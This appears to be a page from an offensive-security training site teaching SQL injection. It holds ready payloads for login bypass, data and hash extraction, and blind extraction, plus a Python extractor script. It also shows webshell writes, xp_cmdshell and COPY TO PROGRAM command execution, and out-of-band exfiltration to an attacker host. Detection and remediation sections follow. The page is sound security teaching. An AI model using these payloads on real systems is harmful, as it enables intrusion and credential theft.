Skip to content
Pwnversity
WEB-SQLIintermediate · 21 min · upd. 2026-11

SQL Injection (SQLi)

OWASP A05:2025CWE-89T1190T1505.003

The application mixes your text into the query instead of passing it as a parameter: "SELECT * FROM items WHERE id=" + id. With id = 1 OR 1=1 the condition stops filtering, and from then on you control part of the statement. What you get depends on the engine and on the privileges of the database account: from reading every table to writing files or running commands on the server. The invariant it breaks is “user input is data, never syntax”.

flowchart TD
    D["Injection confirmed"] --> Q{"What does the app return?"}
    Q -->|"renders the result"| U["UNION"]
    Q -->|"reflects the DB error"| E["Error-based"]
    Q -->|"changes between true and false"| B["Boolean blind"]
    Q -->|"identical response"| T["Time-based blind"]
    Q -->|"nothing, but the query runs"| O["Out-of-band"]
    U --> X["Credentials, files, RCE depending on engine"]
    E --> X
    B --> X
    T --> X
    O --> X
  • Read: users, hashes, PII, configuration secrets, tokens.
  • Authentication bypass: the login stops checking the password.
  • Write: prices, roles, balances; depends on the query and on stacked queries.
  • Files: read (LOAD_FILE, pg_read_file) or write (INTO OUTFILE, ATTACH).
  • RCE: xp_cmdshell (MSSQL), COPY ... TO PROGRAM (PostgreSQL), a webshell written from MySQL or SQLite.
  • Pivot: the DB server usually sits on an internal network; MSSQL also hands out the service account’s hash (see MSSQL in AD).

The injectable value is not always in ?id=: it can be in paths (/users/3), cookies, headers, JSON bodies and fields that are stored and reused later (second order). You don’t know how the query is written, so first you work out the context:

Context Example in the code What you need
Numeric WHERE id = 3 Nothing to close: 3 AND 1=2
String WHERE name = 'x' Close and rebalance: x' AND '1'='1
Inside parentheses WHERE (name = 'x') x') AND ('1'='1
Identifier ORDER BY name Can’t be parameterized: expression injection (ORDER BY)
LIMIT / IN() LIMIT 10 / IN (1,2) Engine-dependent; often numeric only
Engine Comment Concatenate Version Catalog
MySQL / MariaDB -- - · # CONCAT(a,b) @@version information_schema
MSSQL -- a + b @@version information_schema · sys.tables
PostgreSQL -- a || b version() information_schema · pg_catalog
Oracle -- a || b SELECT banner FROM v$version all_tables · all_tab_columns (FROM dual required)
SQLite -- a || b sqlite_version() sqlite_master (columns inside the sql field)

In MySQL, -- is only a comment when followed by a space. Write -- - so the space doesn’t get lost at the end of a URL.

Using ; to start a whole new statement. This is what opens up writes and almost every path to RCE, and it depends on the engine and on the driver the application uses:

Engine Stacked Note
MSSQL Yes The usual path to xp_cmdshell
PostgreSQL Yes COPY ... TO PROGRAM, creating functions
MySQL / MariaDB Usually not Yes if the app uses mysqli_multi_query or PDO with emulated prepares
SQLite Depends on the code Python’s execute() rejects more than one statement; executescript() accepts them
Oracle No Not in typical web contexts

The results of the second statement don’t come back to the page: you confirm its effect through timing, errors or an external channel.

Type Signal Technique
In-band UNION The app renders the result Count columns → visible column → extract
In-band error-based The DB error is reflected A function that puts your data into the message
Boolean blind The page changes between true and false Yes/no questions, one character at a time
Time-based blind Identical response Conditional delay; you measure
Out-of-band Nothing visible, but the query runs The DB reaches out to you over DNS/SMB/HTTP
Second order Stored safely, used unsafely in another query Stored payload (own page)
  1. Break it: a quote ' (or ") causes an error, an empty page, a 500 or a different length.
  2. Arithmetic on numeric values: if ?id=3-1 returns the same as ?id=2, the value is evaluated.
  3. Boolean logic: 3 AND 1=1 versus 3 AND 1=2 (numeric) or x' AND '1'='1 versus x' AND '1'='2 (string).
  4. Comment: if -- - brings back the normal response, you control the end of the query.
Ventana de terminal
curl -s "https://app.tld/item?id=2" | wc -c
curl -s "https://app.tld/item?id=3-1" | wc -c # same as id=2: it's evaluated
curl -sG https://app.tld/item --data-urlencode "id=2 AND 1=2" | wc -c # different: boolean

Typical query: WHERE username = '<user>' AND password = '<pass>'. With ' OR 1=1-- - in the username, everything after the comment disappears and the condition is true for every row. The application usually takes the first one.

Payload When
' OR 1=1-- - Tautology; the first row is often an admin
admin'-- - You know the username; you drop the password check
' OR '1'='1 (in the password) You can’t comment: close with balanced quotes
' OR 1=1 LIMIT 1-- - The app requires exactly one row
' OR username='admin'-- - The first row isn’t the one you want
') OR ('1'='1 The condition is wrapped in parentheses

AND binds tighter than OR: id=103 OR 1=1 AND dept=20 OR 1=1 is true because of the last OR, not the first. If the login compares the hash in code instead of in the query, the tautology isn’t enough: you need the returned row to carry a hash you know (with UNION).

Rules: same number of columns in each SELECT and compatible types column by column. Pad extra columns with NULL.

Step Payload What you’re after
Count columns ' ORDER BY 1-- - … increase N The last N without an error is the total
Alternative ' UNION SELECT NULL,NULL-- - Add NULL until it stops failing
Visible column ' UNION SELECT 'a','b'-- - Where each value renders and which accepts text
Engine ' UNION SELECT NULL,@@version-- - Adjust the syntax
Tables ' UNION SELECT NULL,table_name FROM information_schema.tables WHERE table_schema=database()-- - Tables in the current DB
Columns ' UNION SELECT NULL,column_name FROM information_schema.columns WHERE table_name='users'-- - Fields of the target table
Data ' UNION SELECT NULL,CONCAT(username,0x3a,password) FROM users-- - user:hash
  • Only one row renders: aggregate with GROUP_CONCAT(x SEPARATOR 0x0a) (MySQL), string_agg(x,',') (PostgreSQL), group_concat(x,',') (SQLite) or page with LIMIT 1 OFFSET n.
  • Make your row come first: invalidate the original one with ?id=-1 UNION ... or ' AND 1=2 UNION ....
  • SQLite: SELECT name, sql FROM sqlite_master WHERE type='table' returns each table with its CREATE statement, columns included.
  • A conversion error (Conversion failed, invalid input syntax) means that column isn’t text.

The application doesn’t render results but does reflect the error: you make the error message carry your data.

Engine Payload Leaking message
MySQL / MariaDB AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT user()))) XPATH syntax error: '~root@localhost'
PostgreSQL AND 1=CAST((SELECT version()) AS int) invalid input syntax for type integer: "PostgreSQL 16..."
MSSQL AND 1=CONVERT(int,(SELECT @@version)) Conversion failed when converting the nvarchar value '...'
SQLite AND json_extract('{}',(SELECT group_concat(username||':'||password) FROM users)) bad JSON path: 'admin:...,bob:...'
  • 0x7e is ~: it guarantees an invalid XPath, so the engine prints the whole string.
  • The EXTRACTVALUE message is truncated to about 32 characters (MariaDB cuts earlier and adds ...). One row per request and chunks with SUBSTRING(password,1,25), SUBSTRING(password,26,25)…
  • In SQLite a JSON path must start with $; pass it a subquery and the error prints the whole result. With group_concat you get every credential in one request.
  • Oracle has functions with the same effect (UTL_INADDR.GET_HOST_NAME, among others), but they depend on privileges and version: check on the target.

The page changes between true and false (content, length, status code or redirect). That change is the oracle: write it down exactly before you automate anything.

' AND LENGTH((SELECT password FROM users WHERE username='admin'))=32-- -
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'-- -
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))>109-- -

The > comparison gives you binary search: about 7 requests per character instead of up to 95. In SQLite the functions are length(), substr() and unicode().

Start from a value that does return results (id=1, a product that exists): if the original condition is already false, the engine never evaluates your AND and every response looks “false”.

import requests
URL, OK = "https://app.tld/item", "Add to cart" # oracle: text of the true response
Q = "1 AND unicode(substr((SELECT password FROM users WHERE username='admin'),{},1))>{}"
def greater(pos, n):
return OK in requests.get(URL, params={"id": Q.format(pos, n)}).text
out = ""
for pos in range(1, 65):
lo, hi = 32, 126
while lo < hi: # binary search over printable ASCII
mid = (lo + hi) // 2
if greater(pos, mid): lo = mid + 1
else: hi = mid
if lo == 32 and not greater(pos, 31):
break # end of the string
out += chr(lo); print(out)

Writing your own extractor forces you to understand the oracle and lets you adapt when the automated tool fails or a WAF blocks it.

If the page is identical in both cases, you make a delay conditional and measure it.

Engine Conditional delay CPU-based alternative
MySQL ' AND IF(1=1,SLEEP(5),0)-- - BENCHMARK(10000000,SHA1('a'))
PostgreSQL ' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END) IS NOT NULL-- - A large generate_series
MSSQL '; IF (1=1) WAITFOR DELAY '0:0:5'-- - Cartesian product of sys.all_objects
Oracle dbms_pipe.receive_message('a',5) inside a CASE Cartesian product of all_objects
SQLite No sleep function A heavy query inside a CASE

SQLite has no sleep: the delay comes from an expensive query, such as a WITH RECURSIVE over millions of rows or a randomblob() of hundreds of MB. CASE only evaluates the branch it picks, so the false branch returns immediately:

1 AND 1=(CASE WHEN (substr((SELECT password FROM users LIMIT 1),1,1)='s')
THEN (WITH RECURSIVE r(n) AS (SELECT 1 UNION ALL SELECT n+1 FROM r WHERE n<3000000)
SELECT count(*) FROM r)
ELSE 1 END)

As with boolean blind, the starting value (1) has to exist: otherwise the AND is never evaluated and there’s never a delay.

ORDER BY accepts neither UNION nor prepared parameters for the column name, but it does accept expressions:

ORDER BY (CASE WHEN (SELECT substr(password,1,1) FROM users LIMIT 1)='a' THEN name ELSE email END)
ORDER BY IF((SELECT ...)='a',SLEEP(5),0) -- MySQL, time-based

In the first one, the oracle is the order of the returned table.

The query runs, but the response doesn’t change reliably: you make the engine connect to your machine and put the data in the hostname or the path.

Engine Technique Requirement
MSSQL EXEC master..xp_dirtree '\\<your-ip>\share' Stacked queries; the service account goes out over SMB
MySQL LOAD_FILE(CONCAT('\\\\',(SELECT ...),'.<your-domain>\\a')) Windows server only (UNC paths) and FILE privilege
PostgreSQL dblink_connect('host='||(SELECT ...)||'.<your-domain> ...') or COPY ... TO PROGRAM 'nslookup ...' dblink extension, or the RCE privileges
Oracle UTL_INADDR.GET_HOST_ADDRESS((SELECT ...)||'.<your-domain>') Privileges on the package and outbound network
SQLite None —

Without a domain of your own, the channel is your IP: with MSSQL, xp_dirtree against an SMB server you control (impacket-smbserver) captures the service account’s NetNTLMv2. Crack it with hashcat (-m 5600) or use it in other MSSQL in AD attacks.

The jump depends on three things: the DB account’s privileges, being able to write somewhere something will execute it, and stacked queries when the path needs them.

MySQL / MariaDB: webshell with INTO OUTFILE

  • FILE privilege and a permissive secure_file_priv: empty = no restriction, NULL = disabled, a path = only there. Check it with @@secure_file_priv.
  • The mysqld process must be able to write to the webroot, and you need to know the path.
' UNION SELECT '<?php system($_GET["cmd"]); ?>',NULL INTO OUTFILE '/var/www/html/s.php'-- -
' UNION SELECT LOAD_FILE('/etc/passwd'),NULL-- -

MSSQL: xp_cmdshell It ships disabled and it’s an advanced option: unless you enable show advanced options first, sp_configure 'xp_cmdshell' fails.

'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;-- -
'; EXEC xp_cmdshell 'whoami';-- -

It requires sysadmin (or a configured proxy account). Commands run as the SQL Server service account, which often holds SeImpersonatePrivilege: from there you escalate with token abuse. With valid DB credentials, impacket-mssqlclient is more convenient (enable_xp_cmdshell, xp_cmdshell whoami).

PostgreSQL: COPY ... TO PROGRAM

'; COPY (SELECT '') TO PROGRAM 'id > /tmp/out';-- -
' UNION SELECT pg_read_file('/tmp/out'),NULL-- -

Available since PostgreSQL 9.3. It requires stacked queries and superuser or, since PostgreSQL 11, the pg_execute_server_program role. The command goes in quotes and runs as the service user (postgres).

SQLite: ATTACH DATABASE

'; ATTACH DATABASE '/var/www/html/s.php' AS w;
CREATE TABLE w.t (d text);
INSERT INTO w.t VALUES ('<?php system($_GET["cmd"]); ?>');-- -

It creates an SQLite file at that path; PHP ignores the binary bytes and runs the <?php block. It requires stacked queries (the code uses executescript or similar) and write access to the webroot.

Oracle: the path is longer and depends on privileges (user_sys_privs): Java procedures, DBMS_SCHEDULER with executable jobs or EXTPROC. UTL_HTTP/UTL_TCP give you outbound network access (OOB or SSRF), not direct RCE.

No RCE: crack the hashes from the dump (identify them first; see hashes and hashcat) and try reuse on SSH, SMB, WinRM or admin panels. With a CMS admin hash you get into the panel, and the template or plugin editor usually gives you execution.

Filter How to get around it
Single quote Numeric context, double quote if the engine accepts it, hex values (0x61646d696e)
Keywords in fixed lowercase Mixed case: UnIoN SeLeCt
Spaces /**/, %0a, parentheses: UNION(SELECT(1))
Comments The engine’s other style, or close with balanced quotes and parentheses
= LIKE, BETWEEN, <>, IN
Decodes once Double URL encoding

For a real WAF, see WAF evasion.

  • sqlmap: -r request.txt (request saved from Burp), -p param, --dbms=sqlite, --technique=BEUST, --level/--risk, --dbs, -D db -T table --dump, --os-shell, --tamper. Pinning the parameter and engine cuts noise and time.
  • ghauri: an alternative focused on blind injection.
  • Burp Repeater and Intruder to iterate by hand; Python + requests for your own extractors.
  • impacket-mssqlclient and impacket-smbserver for MSSQL and OOB over SMB.
  1. Find inputs: parameters, paths, cookies, headers, JSON, fields that get reused.
  2. Confirm with breaking, arithmetic and boolean logic; work out the context.
  3. Identify the engine (comment syntax, concatenation, version functions).
  4. Pick the technique by signal: UNION → error → boolean → time → OOB.
  5. Pull the schema and credentials; document the exact oracle.
  6. Assess privileges: files, stacked queries, RCE.
  7. No RCE: crack and reuse credentials.

Full dump, login bypass, hash theft and reuse, file reads that feed an LFI, webshell and RCE, the service account’s NetNTLMv2 and a pivot into the internal network. An SQLi on a secondary endpoint can compromise the whole platform.

  • DBMS auditing (pgAudit, SQL Server Audit, MySQL/MariaDB audit plugin): alert on UNION SELECT, queries against information_schema/sqlite_master from the application account, xp_cmdshell, sp_configure, COPY ... PROGRAM, INTO OUTFILE, LOAD_FILE, ATTACH.
  • Blind: SLEEP/BENCHMARK/pg_sleep/WAITFOR, repeated latency anomalies, bursts of near-identical requests that only change one character or number.
  • OOB: outbound SMB, DNS or HTTP connections from the DB server.
  • Errors: spikes of SQL errors or 500s after input with quotes and metacharacters.
  • Files: new .php or .aspx files in the webroot created by the engine’s user.

DB audit logs, application logs with the query template, WAF, egress from the data segment, APM for latency and integrity monitoring on the webroot.

  1. Parameterized queries for all data access (the root fix). For dynamic identifiers (ORDER BY, table names), an allowlist.
  2. Least privilege: no FILE, no sysadmin, no superuser or pg_execute_server_program; xp_cmdshell disabled; secure_file_priv pointing to a directory outside the webroot.
  3. Disable multi-statement queries in the driver if you don’t use them.
  4. Generic error messages for the user; details only in the log.
  5. DB server with no egress to the Internet and no outbound SMB.
  6. WAF as an extra layer, never the only one.

Rotate exposed credentials and secrets, force password resets if hashes were dumped, hunt for webshells and files written by the engine, review sp_configure and granted roles, fix the injection point and deploy the detection rule.

  • CVE-2023-34362 (Progress MOVEit Transfer, 2023): unauthenticated SQLi mass-exploited by the Cl0p group to steal data from hundreds of organizations.
  • CVE-2025-25257 (Fortinet FortiWeb, 2025): pre-authentication SQLi in the Fabric Connector; public exploits turned it into RCE by writing a file with INTO OUTFILE that a CGI then executed.
  • TalkTalk (2015): SQLi on its website; data of about 157,000 customers and an ICO fine.
  • Heartland Payment Systems (2008): an SQLi was the entry point of one of the largest card breaches in history.

Product-specific CVEs on NVD (https://nvd.nist.gov/vuln/search) and GitHub Advisories (https://github.com/advisories).

  • Inputs found: parameters, paths, cookies, headers, JSON and reused fields.
  • Injection confirmed (breaking, arithmetic, boolean) and context worked out.
  • Engine identified.
  • Technique picked by signal and oracle documented.
  • Schema and credentials extracted with a minimal PoC.
  • Stacked queries, files and RCE assessed against privileges.
  • OOB tried if there’s no signal in the response.
  • Impact documented without modifying or exfiltrating real data.